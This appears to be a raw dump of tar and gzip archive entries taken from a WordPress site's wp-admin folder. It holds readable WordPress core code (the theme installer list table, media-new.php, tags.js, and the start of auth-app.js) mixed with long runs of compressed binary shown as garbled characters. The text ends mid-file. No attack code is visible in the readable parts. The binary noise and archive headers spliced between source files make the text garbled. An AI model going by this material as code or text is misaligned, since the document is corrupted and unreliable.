				<iframe src="<?php echo esc_url( $theme->preview_url ); ?>"></iframe>
			</div>
		</div>
		<?php
	}

	/**
	 * Prints the info for a theme (to be used in the theme installer modal).
	 *
	 * @global array $themes_allowedtags
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 */
	public function install_theme_info( $theme ) {
		global $themes_allowedtags;

		if ( empty( $theme ) ) {
			return;
		}

		$name   = wp_kses( $theme->name, $themes_allowedtags );
		$author = wp_kses( $theme->author, $themes_allowedtags );

		$install_url = add_query_arg(
			array(
				'action' => 'install-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$update_url = add_query_arg(
			array(
				'action' => 'upgrade-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$status = $this->_get_theme_status( $theme );

		?>
		<div class="install-theme-info">
		<?php
		switch ( $status ) {
			case 'update_available':
				printf(
					'<a class="theme-install button button-primary" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ),
					/* translators: %s: Theme version. */
					esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ),
					__( 'Update' )
				);
				break;
			case 'newer_installed':
			case 'latest_installed':
				printf(
					'<span class="theme-install" title="%s">%s</span>',
					esc_attr__( 'This theme is already installed and is up to date' ),
					_x( 'Installed', 'theme' )
				);
				break;
			case 'install':
			default:
				printf(
					'<a class="theme-install button button-primary" href="%s">%s</a>',
					esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ),
					__( 'Install' )
				);
				break;
		}
		?>
			<h3 class="theme-name"><?php echo $name; ?></h3>
			<span class="theme-by">
			<?php
				/* translators: %s: Theme author. */
				printf( __( 'By %s' ), $author );
			?>
			</span>
			<?php if ( isset( $theme->screenshot_url ) ) : ?>
				<img class="theme-screenshot" src="<?php echo esc_url( $theme->screenshot_url . '?ver=' . $theme->version ); ?>" alt="" />
			<?php endif; ?>
			<div class="theme-details">
				<?php
				wp_star_rating(
					array(
						'rating' => $theme->rating,
						'type'   => 'percent',
						'number' => $theme->num_ratings,
					)
				);
				?>
				<div class="theme-version">
					<strong><?php _e( 'Version:' ); ?> </strong>
					<?php echo wp_kses( $theme->version, $themes_allowedtags ); ?>
				</div>
				<div class="theme-description">
					<?php echo wp_kses( $theme->description, $themes_allowedtags ); ?>
				</div>
			</div>
			<input class="theme-preview-url" type="hidden" value="<?php echo esc_url( $theme->preview_url ); ?>" />
		</div>
		<?php
	}

	/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 *
	 * @global string $tab  Current tab within Themes->Install screen
	 * @global string $type Type of search.
	 *
	 * @param array $extra_args Unused.
	 */
	public function _js_vars( $extra_args = array() ) {
		global $tab, $type;
		parent::_js_vars( compact( 'tab', 'type' ) );
	}

	/**
	 * Checks to see if the theme is already installed.
	 *
	 * @since 3.4.0
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 * @return string Theme status.
	 */
	private function _get_theme_status( $theme ) {
		$status = 'install';

		$installed_theme = wp_get_theme( $theme->slug );
		if ( $installed_theme->exists() ) {
			if ( version_compare( $installed_theme->get( 'Version' ), $theme->version, '=' ) ) {
				$status = 'latest_installed';
			} elseif ( version_compare( $installed_theme->get( 'Version' ), $theme->version, '>' ) ) {
				$status = 'newer_installed';
			} else {
				$status = 'update_available';
			}
		}

		return $status;
	}
}
set-post-thumbnail.min.js.min.js.tar.gz000064400000000757150276633110014041 0ustar00��S�o�0ޙ�„K2R�i��:Uh�L�m�� U���qI��~^7-��q�4��.8��~���9�%&
H�B�d-��Π�.�e�QJ�,lb�:��ԡܕ�Ȃ���G/��1��=��dp��t{ô?��z{/�{�})��O�7r��H�_�I.-���_����Q�B���WK��^�_n�������3�2�Z�*������ڡyx��\,�୊N�>P���L�+>���-�K5��z^Aś��a���S��]qs�J1ڮq{�U<m�L�V�(δ�!q�*��n.�uYi�}
��\�7|�$Z�-�-?o{!$z~f�k[׺j:V�o�k��>�w�^#P�Ř,a�
����
4�=ε+S��g�(jP��e�����<2`B�f����|�ȧ��l��l���\/�(�S�oOS#���(�a?�q��V��ڵ~�|���V���_k��8��	s�As
media-new.php.tar000064400000012000150276633110007705 0ustar00home/natitnen/crestassured.com/wp-admin/media-new.php000064400000006275150276023770016716 0ustar00<?php
/**
 * Manage media uploaded file.
 *
 * There are many filters in here for media. Plugins can extend functionality
 * by hooking into the filters.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'upload_files' ) ) {
	wp_die( __( 'Sorry, you are not allowed to upload files.' ) );
}

wp_enqueue_script( 'plupload-handlers' );

$post_id = 0;
if ( isset( $_REQUEST['post_id'] ) ) {
	$post_id = absint( $_REQUEST['post_id'] );
	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
		$post_id = 0;
	}
}

if ( $_POST ) {
	if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) {
		check_admin_referer( 'media-form' );
		// Upload File button was clicked.
		$upload_id = media_handle_upload( 'async-upload', $post_id );
		if ( is_wp_error( $upload_id ) ) {
			wp_die( $upload_id );
		}
	}
	wp_redirect( admin_url( 'upload.php' ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Upload New Media' );
$parent_file = 'upload.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed.' ) . '</li>' .
					'<li>' . __( 'Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen.' ) . '</li>' .
					'<li>' . __( 'Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box.' ) . '</li>' .
				'</ul>',
	)
);
get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/media-add-new-screen/">Documentation on Uploading Media Files</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

$form_class = 'media-upload-form type-form validate';

if ( get_user_setting( 'uploader' ) || isset( $_GET['browser-uploader'] ) ) {
	$form_class .= ' html-uploader';
}
?>
<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>

	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="<?php echo esc_attr( $form_class ); ?>" id="file-form">

	<?php media_upload_form(); ?>

	<script type="text/javascript">
	var post_id = <?php echo absint( $post_id ); ?>, shortform = 3;
	</script>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo absint( $post_id ); ?>" />
	<?php wp_nonce_field( 'media-form' ); ?>
	<div id="media-items" class="hide-if-no-js"></div>
	</form>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
nav-menu.min.js.min.js.tar.gz000064400000016506150276633110012027 0ustar00��=ks�8���~����dD�R3��W�����<�O]]9�-B��%(;^��� 	��dg�&f"h4�~Y�+v(������y�d�H�)X:����(IW\�*���h��f�ǿ�?<���|�ⅳ�<{����/'Ͼz9y���W�>���g���S|��
,��)�7�������d��`�36��'�2]0���d�����-6b^�\����UR���\����z�cr��D|�����n�Cޕl�g�.��Y�=�bY�|^d�y���|�/�tʼ(��awy�O�6ゕ'y�9�&�!B���2��y:��.f��o���`i�7
����h�6"e.X��qy�f���s������P�X�0��Y���ǣi4
�D�XR̗��\�2�	ܾW�Ɨ�����,����
�q�5,aƿ�mÊ�o?�LH�����,���-@���;��o6����y�fS����P�.��M�yK��+��f�x�D��E�Q"����v�m��Rѫg“%[���yB�����9_��$9������	 R�)�L>�K�㌉�r��O�pw?h.EX�h�\0�s�N��㎯sY"����q��j_XzB��w�V�$��WO��D�К ���|Τ��<���$��P(�M�v���?���e���x!�?��}~�^x�0-�c���ß㹔����bT�%0z��9c�:+X�)���x��$��|��?���PO�������l,3>g�$=�	,d�N�Ҡ�p����n5h5?l��Y��������[����キ�+FS�x�9���m�
�l��2�\�/J����e��R����.,��X� ��q,����^�{��#	G��.y�|Z�|ɳ�ge�-8�Z�sE����*6���G�,����hyU�s\�/�p�B�7�/y����2ɲ�f����
&p��PqA�S3o���lo�,ɐ�����&խ���oޥ(@@�}	:3)l��^�_r�5�E|,���⹾q&�=�x�B�AH�5�0⩇Ԅ_����e��$�Y�d}�e6$}�|1��T��B��_%��H����>���:�BK����8�R�ED���"J��y�Y	�L.`>�Á��h0��
��w�S�"+�5D�N�Q?<w���4���}�;�%[o�_���&��и�r@�K�}�F	�b�1tgyqC��d|��zS�QXk8OPӏ�d�}O��=q�����_���a�/O�ӿ<;{��O����iV�{�E(J�Mg5&�d�/���39�5`y斂8Qhz����>fL	6&���=��`(~P�:l@y:=;�D�I��x�f��s��G�,��1Cd�2_{��>�����|
LqZ����r	���e��7�j8r
L�*Hb�IA!�M�Ih,���}�ښpo
r�����0��F��a�ycG�	3Բ�ʸ��k�7#m&xVd|j�${B�%?��v�ZM���Zs��υ���n���;er^�ur�c��&b&����i��'KР0ݱP&�C�O�+�Z��S2C3��R��f�11�c�S~6�N�<zg^�bQ��ҥn�=�j䙧�A��ű��ON�יj�l�|���"�6
���l�.9��e�BSo<�n"�S=Xh�X��c0$���M�� l
JEA��'b�)
����	k��y��.�7�qb(eV���i&�J�(�٫ҋ���֍�dp�
&\�]BQ��3��0�W]�q��$�yc����Ofv A�?���� ,�;ײ�� ��@�]
���ډ�U��Q�
�3�*>}Sp���x]�KZ濬׬x�H�9��1���L^��h?���f�E<�F�
���3~��W]���p~^�g?]�ϒ�*��~D��(�0��OЁ�6:��,���i~-����6S�~#J~�ʟf��Y��k廷ͱDKD�z
����h��d�Z��y��2�py���6x,��
����u��
J��U�͜l���K
�D5�u|W�����T8mN���^��M����\=�E>�H
W��d�
���iQ0��+�9ϓ"m��������߿^����X��9�	nu#O]�`��#�U�ADl$"���o�=ܟ�|3_b
�t~��š(ކ�O��r���Lƴ�j��s�^�0���Kg�B%�����2��)�)cu��|�507ލM�V��GS��2�qw/�R��X��;C��<܄�0Ӱ��r	�4ւ�T~JL���t�Z�b�8>����R�V@�Ж���
G�0	�d��o|Q�-�+�Z7�8N,�;�W`t�%�+՜l
U�klwN��%*u�2�S�LhJl�I�L�1(�v��ӣT��
��DK1�t;�.��K
���䜁�"�嗵�^�\��3�
kث^��n�����)6Cp�TY�� ��c�?C�-k�	>i��iVww=�UZ�n�ٔ��
����wp�@������z/���A�@�D�q{I��%��1�X�g�V��k��s�e���A��N+����֦V55��;�������hy�Gt�̖�ؒA�ob��jK4C�>���4� �.����w�O�U����fx���Y��,-މ�˾b�-��/�!�� d�ؼ[�a�i�V�2�
%+K..���N�2G�eK�?�	�3�ñU��׎<��!İ)��ck����bQ�d,����e�P�Kv��'u�~������X�ZI���_���־^����7�??^L�(�D�p�›�9n+9�}�M��q�b)�3|�u���"�܇>UB���
�E"u�(3/8vA�S
��JT��3�7o��"�V�S��V�u��=uκ�lu�j�~߄~��zC�Q]�koz�B�v�Ō�,	��䠩�Z�4o'���8�f��M��vB�S�)S��M�-��<fJ�����ȫ>��^ �~#Ɵ>��/�I�ô��� ��e�\���^��uj@W���&ݰ.�<��$��}*u݄W��.���c�������_(��7t?6�zi��X���X3�x��,�Y�ҟ0T�Xe���u���\N��t^�\�&0 

F�d4��"À�)�e����T%O�+M�k����."�'�&�7E�&42�
�Q��^���X�>�_D�uc��Ί�km"`�.2��9|u�O;�"�R�e��e<	�FEJVIKC�.^ŋ�ə����n���U��U�Y[D��tb�a��T�Y4�U�.�������e���H6�u��+5�t�'B��ޠH��b���uz�q���l�;
��g���a9���U������C����r��l�bw�H���ջ�.aۅ��}",N��}�"�61�����+�mjZ�%�Er1�B�ņfAsC�G��a]�ep�5O���ƪ�ҿU���}
�#�12Z��GC�|3��;1Ә?�o�ey��1i��âSc�
J�N�UL���Iї�z����@��Oz*�� �,�́�c�K�~u#�a:N�k,���7�蟲�/�����xr$���V�EZ�l�}ɲ5�f�mH���(~����[���".��1��{*���h�:E���P ��:����V+Z*�S���[�)A�6a6����*�^W�ռ���P�bB�|k<:ϝ�����<pl�v1l���<r��.�|2G�\^�v�.��l���8�g7J*��&����X"��B��)����j�!	e|&GIpu�/�	�2��%�9���q|`z���KJCp4�hr$g��fG�a����U���*Q��{GZ����,�%9`�bs}���,��J�L~�lVF�Z|ds���|�Q�qw�j���!�A��{�ܜ��os�+�	�]�AdjQ�?T;u4
䟚�|�f���	܋�ͨ��"�cˈ%*���T(�A�α�5z�j�������{]k"1-RYp�2j��U_G�E���Xi�XR��e�K�8���Fdy��b�e�FĢ�,ʁ�����-i���*���j�l����K�����"$u�]nɁ�U-��?�(��\жzK����'ꌎ*��ǁ`$��f,0Vk�\]������:/#���]�I�I����Ⲟ%�v#���0��/x,��nI8����%q/@�ѿ��a����[4T�;��ꔨ�f_���<��f.$��X�s�m��on@�{4#�0���*�y�QC������S
V1��`odtkt���>|9����'X4߀�_�!�V�&�%0�[��@�Jis5RE���)�j���S���Tr
���)9{�:�f�d���1�Ψ
������O7w^��9��Dʣ���j/Uh���2�]ֈ��c&PH7X� z*�L�tBB8��]8`��]��n�~2�HmY%G�UE*�6��h�9����)�k�͊|�^�~H%K2Y�hJ}��X;4��x�?8�̉�0=g�M��ݶ�1�G�dP���B�u��1�>v�&��p߿��_j �tۖ3�`E2[��!��`�@�E[�/
�����?٪J�}(�r#�J��T�^��?A���&\'��
�|V����
����[k{TՊ�
~�:�bz#��.�7����!oE��Z�0��AՋ��aҧ�M��ʦ�i������f�e'��`&�q�����)F_�p@ta!�x%�a� ���X�sp�E���}m{wa�b�Տ=#t�B*e��Ƣ���B,��_�Rk��.��*(��o<4.�
��e�F���Qz�!�Z~<L쩉N;Pb]v4��E; A�c�U���N�2>p�y�x���:2�ۧ�̫�!b�W�#�����a9<�k�d�#I�0��|��W���q3�c��|:���w�
�X��@7�1T����)�����Õpp�Ū��h�Z[��4n�!��cZ���j�:�vpR�u�g��]����fYW
u��r)S_;��ţ;��4��"�����.�L���xV�:�G�<�ء�~�q,A�����r�F��<F��|���h���N]�"M~����"�*���d��Y���U���hz��~�����,lu�Q��
��9t[�>�{k;o
�)��6;@��ayD�Q�w%:��ڥ&�a1F����w��?u��?�$D�?�7�k�6e>�Wkez�b�ѕ�yN�������}�~[N���I�V�T��^ax�m���7O����\���v�V���;z��P
�1��j��i��۰Tiu�`r
'��0Ē�^�y�K���Qub곱�E<_��c8U�}�����i��/,�{���	��l�g�PPT�u��-ņ0\�ݏ��K�/Sꕌ��<mK9zk�\����=u�<+�BVX��b�w����:���e�����Կ�4�����'�����z�%M�^�"/rmK�o�'��]��L���aϘf{���R�
%����j�dG��}{Ӿ�|덦^t۾�y
�Ε܈u��F�=�8�Q5��d&��'e0�慤����=�x�9g��\I��-o�v� ������G9�o6��53��F��c��P��n��d�����"I�;�XY~���-e!{e+�h��c�]��W�-tދq�_qd��,٤������4���>�oq��v����4e)�	����{y�);k��Īx�2u���:����̡�(ϊ�U*%tڕ�����>I8��tj���^���}\��N�>����9`P�*e_�GWi����1P��M����y�
�7)3����^� �Nn�"_Q����M�b��ڒ�‡�:�X�%�H�'Ui{hmbv߹��Mj����k���d���|���DE��t�&uj<���oG
�݅���T�:}�e�6�3Tz�zͅ:[�C��i�_
�t�b����	��tc���2����p�[�[�i[
�Y���D��5�4�e=w>�]���v2�|�%[V5�7W�	�"�R*_=��
ˡ7x�*u!~E�+cuut;�rw'[Ѣ�v^O�fY�n�4pS�kS�ũ
k��@�\���E� ��Mv�mh���Y���a�@j�65�
Xs�%\�m��PSg�#Dʆ
�g
;�mu�O��=g�?��N�d�7�^ϛ��ת�iS��S1H�4�W]w�{Q��#��ĘLo����Nod���B'L"�PXq	�T�Xd;����f��	��I����}|+?�}�J�a;�R[�*�B{�����zJ>P_�Kyj�=�L�
]`-?2#E���:��*wr�bX|��?
�xX����!
��eu�/|2}p�5h�w}ū���T��(�c��k�t�Hk�/k:��Q����ِ����aP(�,)��e���uA�M���~7�ڨ�]S�Ұ��@e�$��Wsz�|����O���ot:�.���8�Dκ����h���k�Jv�dx���d��X��7�͆�魁RJ�R�@�@EU�qPU��~�'�/������.t^�YO�\C�TS�OM�!��=��P�C��^�rR��Q���Ó{{zBP�`:�|��/�b`�X�c>X��=���t6�\\�8P���b�~88���Ku���u�]̛ʑ��n<�i�BOM5�{�aBC���3�>�MxM�h�Po+����U���k}y�n�Z�7�E��O�~����!��L�WU��U� r�ca�-�Q�5뷾v8cͥ���B������x�T�T���U=���Y>fj��'��0����H�wvw�:M�fA2��oआ�A����T��{/��gv���!�>~<�+�ӳ�����Ņ�T�9yL�=��"��:[��]R�u������-XyGu�~�
��c>(Th��7"��tt�VEޣV�͓�H��<�C�^֬?�Eа�@�{OK2���5��P�5|t�o�u2Nj��P]��z�ˉ;��M�����M�>���$�v��֊�a����B@QU������z��=m����q��'!@"VwI\�H��x��p���Pp�̛տKA�F�ѵ.�/%¬&�4Z�aIj����' �ҭ���<?���:,t��<�4Y�yI���n�������)��XB
�r�7;����
̨.`�
���
(�|o1z"6��3t����Fe�G1ۅ��s+�fV�z�\�cR�y�8�եz�=U����S:`f�e;ܨB��V,�]��5������������?��q��o_RX�ltags.js000064400000011430150276633110006043 0ustar00/**
 * Contains logic for deleting and adding tags.
 *
 * For deleting tags it makes a request to the server to delete the tag.
 * For adding tags it makes a request to the server to add the tag.
 *
 * @output wp-admin/js/tags.js
 */

 /* global ajaxurl, wpAjax, showNotice, validateForm */

jQuery( function($) {

	var addingTerm = false;

	/**
	 * Adds an event handler to the delete term link on the term overview page.
	 *
	 * Cancels default event handling and event bubbling.
	 *
	 * @since 2.8.0
	 *
	 * @return {boolean} Always returns false to cancel the default event handling.
	 */
	$( '#the-list' ).on( 'click', '.delete-tag', function() {
		var t = $(this), tr = t.parents('tr'), r = true, data;

		if ( 'undefined' != showNotice )
			r = showNotice.warn();

		if ( r ) {
			data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag');

			/**
			 * Makes a request to the server to delete the term that corresponds to the
			 * delete term button.
			 *
			 * @param {string} r The response from the server.
			 *
			 * @return {void}
			 */
			$.post(ajaxurl, data, function(r){
				if ( '1' == r ) {
					$('#ajax-response').empty();
					tr.fadeOut('normal', function(){ tr.remove(); });

					/**
					 * Removes the term from the parent box and the tag cloud.
					 *
					 * `data.match(/tag_ID=(\d+)/)[1]` matches the term ID from the data variable.
					 * This term ID is then used to select the relevant HTML elements:
					 * The parent box and the tag cloud.
					 */
					$('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove();
					$('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove();

				} else if ( '-1' == r ) {
					$('#ajax-response').empty().append('<div class="error"><p>' + wp.i18n.__( 'Sorry, you are not allowed to do that.' ) + '</p></div>');
					tr.children().css('backgroundColor', '');

				} else {
					$('#ajax-response').empty().append('<div class="error"><p>' + wp.i18n.__( 'Something went wrong.' ) + '</p></div>');
					tr.children().css('backgroundColor', '');
				}
			});

			tr.children().css('backgroundColor', '#f33');
		}

		return false;
	});

	/**
	 * Adds a deletion confirmation when removing a tag.
	 *
	 * @since 4.8.0
	 *
	 * @return {void}
	 */
	$( '#edittag' ).on( 'click', '.delete', function( e ) {
		if ( 'undefined' === typeof showNotice ) {
			return true;
		}

		// Confirms the deletion, a negative response means the deletion must not be executed.
		var response = showNotice.warn();
		if ( ! response ) {
			e.preventDefault();
		}
	});

	/**
	 * Adds an event handler to the form submit on the term overview page.
	 *
	 * Cancels default event handling and event bubbling.
	 *
	 * @since 2.8.0
	 *
	 * @return {boolean} Always returns false to cancel the default event handling.
	 */
	$('#submit').on( 'click', function(){
		var form = $(this).parents('form');

		if ( addingTerm ) {
			// If we're adding a term, noop the button to avoid duplicate requests.
			return false;
		}

		addingTerm = true;
		form.find( '.submit .spinner' ).addClass( 'is-active' );

		/**
		 * Does a request to the server to add a new term to the database
		 *
		 * @param {string} r The response from the server.
		 *
		 * @return {void}
		 */
		$.post(ajaxurl, $('#addtag').serialize(), function(r){
			var res, parent, term, indent, i;

			addingTerm = false;
			form.find( '.submit .spinner' ).removeClass( 'is-active' );

			$('#ajax-response').empty();
			res = wpAjax.parseAjaxResponse( r, 'ajax-response' );

			if ( res.errors && res.responses[0].errors[0].code === 'empty_term_name' ) {
				validateForm( form );
			}

			if ( ! res || res.errors ) {
				return;
			}

			parent = form.find( 'select#parent' ).val();

			// If the parent exists on this page, insert it below. Else insert it at the top of the list.
			if ( parent > 0 && $('#tag-' + parent ).length > 0 ) {
				// As the parent exists, insert the version with - - - prefixed.
				$( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents );
			} else {
				// As the parent is not visible, insert the version with Parent - Child - ThisTerm.
				$( '.tags' ).prepend( res.responses[0].supplemental.parents );
			}

			$('.tags .no-items').remove();

			if ( form.find('select#parent') ) {
				// Parents field exists, Add new term to the list.
				term = res.responses[1].supplemental;

				// Create an indent for the Parent field.
				indent = '';
				for ( i = 0; i < res.responses[1].position; i++ )
					indent += '&nbsp;&nbsp;&nbsp;';

				form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' );
			}

			$('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible', form).val('');
		});

		return false;
	});

});
admin-functions.php.php.tar.gz000064400000000514150276633110012351 0ustar00��S]K�0�s�}�]�u_���p����!K�\�Mk>���m�!:Tp�!�ܓ��l�I�0e�jC��
y��"y���B&��][Ɍ(���M�:��h0�0_s٨��ٸ��{c��R@zt�o��+W�'j�A\\�NI�@���BE}�a���<��
k�#��c��Q�<�½U�d���<���� ��f7d�0N�dE�}Dx(_8'�:��jG����$Hs���`E5JZ�����hG�u����I�_��p�(���۝@�pA�G�>��V($�dN���b����s��]q�	'���V��tags-box.js.js.tar.gz000064400000007351150276633110010457 0ustar00��Zis7�W�W��*C��Pr�J�D��W��^[��*o�9 	y8�̡#�����f0<|$��Vm�JB������3�te��d�Ia�J�e]�$����r_'����Q�g�8���ʏ��s��gw�l?8�}���;�=���݃;�������?U��o�Ըp�-����?��7w�M�]^W˺R[�%����MuV�mV�I]�WGj�������q?i%��|�S���%��}�_�.
}����ϵy��f����y_M�lR�<�=5P�wz� ��&�[�B�|�=�"�_\�U4��*�����f������z��_l��Rɮ
��Y�
S�E��*3r��(:T:Mɴ����
r�CJ5ɳJ��f3�g镪��m��G�N�x��2���NL�.�+�zbT^(ɹNkS������o�_��H���ԅ^��'t�kw�SC��S��V�l�Q4�'�t/w'�0��]�,�/�>�+\Yìb��D*�F괰�Dd��2a�^��{{�ѓ��:�ye�,�N=�z�d!0�p,��i�G�٩���O>Q{��X&<2������?�{��u9������pt��2L]��I�9e�P���L�V%�D�es���֕a�,t�g�<3s
��m�1W���bU�.l5W��-��`N_n6�V�⸐]��͇K�Ɓ�l?��/-�s���:K4���8!'��JH�[�������AE8�̺���ٵly/_,�*
��U[1d�~�$�	��e���=C�B��Y�z����(�,���mx�n�$:`千W��,S�y��멙=�\�;T�@l�,�!�l�2�Wys�G3^?h'���Ǟc�O��F��-�2���i4�M��8�
�^wB�z���ΌŸ_�ϹY(��J�S�a��1�ٵ2)��‡I��^a38da�9#�zx�!����H�^諲	%[�YҵN�R�����B��4il�!�6��I\.S[�����L^�cx?<?�i�p9f��#n�$�!=�&w-{
ܺ�itE�^M��f�&�:�"x�Y8��IV4�Nk.<����B����n��Lg�����ݲV񄣢w]*X"A~�'��ـ~�ɛ�#�o@�^�������3���ۄBñm3t���Yn�U9�?�$?�v��^���}�3���<6�
t�C	-��Jm�
R�UE���;�&M`�H3t�pD/ؿ�k{��\��p����6��yn���{at�A�P����4�^�g�E�-+�,
��;�S�*��M6��P%�$)'d�h�&5��w�tr7��*�e�/����������McN�|R#�Z�V�U�B��
�9 M5�	6d`2�یe��z�V��m��]6�`b�t�ɕ(f�`dG�U���Б{���q;��^�<gz�b
��C��Cu)Bٿ+���sCX��Dz�倌�lӖ��&ʪ2�i�̠^S���%
{���殢�S�F� 爉�9��é tkYT5>0�i)m�OgOqx���Pݔ�C��6M:����&����T��z3���
�u�-k�jW���	�J�q�ĥ���{=�(/���Z��]���h|��[�o�ND�o�S��y�y�f��QB��d�^�5*��/�l��j�n���x�*j����#���B��/�ڧ��vm���y�@�∊cT�"��x^-�(4�a��\㛨1#,���T�4	;l��Dz0%l�<�9 !�\�c���#N��據 (�2�f
�Q��CJgh���6�g��2����^�֡՝���Uwҁ���+记���b�9�d�&k0�n�1�J$�=�(��z���=I+��=���X�9�ݻ�	#�cML�N�t����{y�c��^k�и0���x
�\�9�8����Q�gw��X�-�̑\���tÖ�b���܏2'D���Y�K��˗��z�r�x俲P���Q��$�Sm����l�H��1�[����a��wy��;�L"c@[q���ą\i5e�?�_�L�����!ɥ��}����Wt�f̃b��8p��,�&�lL���^
�&��p��W>S�0����P�,
{oBP'�w��"�O��f��H���6�$��9t�9�	��8���]�SRI���יA�K��?<�^���)M�8%[5�q�#0D�J�m�x:v��!�'`�QG�͉#q�DSN$�<���K�Wj�ɩ��
ʿ�Hl)��"��,է)���R�F^�X��@qi$+$Ʀ�(].�-E����'K:� ��#4h W�i��h�[�j��
pZ���'�.�}*2�:�0ɻ[�N&:!��~*|~`�:��+~��Q��;m\��G�H��i7�sg�.��������{=4Ývo��˱�;¡�5�dn����'��aI>Pz?��BAj�*p�NQ�5��Ž�IB��x�mE���6hK>�v��&hɷͷ[�j��t�����	ig�착�߬�\�"�ljp���5F���<Zp��veP`�ܩ|���c;�����-����#(i�>�6��Jk#M9M!/��
����h<ѕ��tf��d����'�-ˋ-�}�A�<�V�َ��Tz�=YUt�$�y�/���H�͜��:�j�.�^��g=��4s�xڏ�#�P�Z+�I]��31�\�ǿ���(�m��{����"��	�>cD^qn�-�/W�ݨ�%X�f@�%������?9��	i�u4�
��/XWR1]a�k
��M
z�ϲ�U�Yё���}o`�z�a��uX�C9��1��������'�]ԍ��ʦ�$�����3s��O��5m�.��)w�]A���J]K�$ph�ax�w&㚧�C���ֲ��azAN��t��- ���Ԋ�>R��4��J��l丱6�����7)M�E����`�-�Q[04t䮱�V��E����i�a�	b���/�Mw��4����.�\�
�C��K@��i�&贲O��fH��B{�k���$(\�bSFߞ�����9Z�'៻�H�����r����L(V�b�H��q���\�_$jT>��^972�w`�����Y�њ����e�ԇ�WH"@�7�PPP�s�W�!=��₩�<��̍���z;_}���3Sq�Q�q�$kf�ʟe����\�L�PT�ƃͶ����='"?˥�^��AJ~��az��Y�Hm�0�|_yD���
�����5�א�K�����놗4BȦ���o�����FP{S�e��Ф
�q�hU4�b��V��:�*�Hr��Al�9�X�H/�/}+�%�I�+�H�2��5b�C�둩�y��Ч��уU��@�Q�G�[�{N�f�t+���O�}#y�a�f]Q���%o����&����~_p{;�d;��X���e�/���+��y�]ue�M[ğ����������{��&����\�!�O���q6ب��8�Ĵ�K��v�+>��95��w��ߞ��@��E���I���C���_�m�H�9��k�<0�<}xB���"Ni�Q`�C��-n�Y:N�E(�ԗNEK�uXf(�ގŒ�(^�s��
T;M󕄋�>t~�V����q���v(��Ր�ؼvr�=�-}�X��_U>����:|4�E���e.�`f��(j
�nU>����oN�Wwx�l]҉YKw1$�?�QC��P"��ٕA�O�&��`��$���}u���Wj��������������yLa2auth-app.js.tar000064400000017000150276633110007410 0ustar00home/natitnen/crestassured.com/wp-admin/js/auth-app.js000064400000013244150262743670017025 0ustar00/**
 * @output wp-admin/js/auth-app.js
 */

/* global authApp */

( function( $, authApp ) {
	var $appNameField = $( '#app_name' ),
		$approveBtn = $( '#approve' ),
		$rejectBtn = $( '#reject' ),
		$form = $appNameField.closest( 'form' ),
		context = {
			userLogin: authApp.user_login,
			successUrl: authApp.success,
			rejectUrl: authApp.reject
		};

	$approveBtn.on( 'click', function( e ) {
		var name = $appNameField.val(),
			appId = $( 'input[name="app_id"]', $form ).val();

		e.preventDefault();

		if ( $approveBtn.prop( 'aria-disabled' ) ) {
			return;
		}

		if ( 0 === name.length ) {
			$appNameField.trigger( 'focus' );
			return;
		}

		$approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );

		var request = {
			name: name
		};

		if ( appId.length > 0 ) {
			request.app_id = appId;
		}

		/**
		 * Filters the request data used to Authorize an Application Password request.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} request            The request data.
		 * @param {Object} context            Context about the Application Password request.
		 * @param {string} context.userLogin  The user's login username.
		 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
		 * @param {string} context.rejectUrl  The URL the user will be redirected to after rejecting the request.
		 */
		request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );

		wp.apiRequest( {
			path: '/wp/v2/users/me/application-passwords?_locale=user',
			method: 'POST',
			data: request
		} ).done( function( response, textStatus, jqXHR ) {

			/**
			 * Fires when an Authorize Application Password request has been successfully approved.
			 *
			 * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
			 * action to ensure that both the JS and no-JS variants are handled.
			 *
			 * @since 5.6.0
			 *
			 * @param {Object} response          The response from the REST API.
			 * @param {string} response.password The newly created password.
